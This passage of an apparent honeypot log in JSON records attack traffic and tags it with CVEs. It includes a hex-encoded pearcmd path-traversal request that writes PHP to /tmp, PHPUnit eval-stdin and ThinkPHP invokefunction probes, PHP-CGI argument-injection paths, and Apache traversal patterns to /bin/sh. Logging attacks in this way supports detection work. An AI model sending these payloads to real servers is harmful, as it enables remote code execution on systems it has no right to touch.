2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"e842cde6-230a-446f-b179-f80f772cf511","seq":47,"duration_ms":39540,"bytes_in":18824,"bytes_out":3713}],"http_methods":[{"method":"GET","count":341},{"method":"POST","count":62}],"distinct_ports_total":4,"top_paths":[{"path":"/containers/json","count":13,"ports":3},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":8,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":8,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":8,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":8,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":8,"ports":2}],"distinct_paths_total":55,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":1}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"27","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"<HONEYPOT>:2375","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1}]}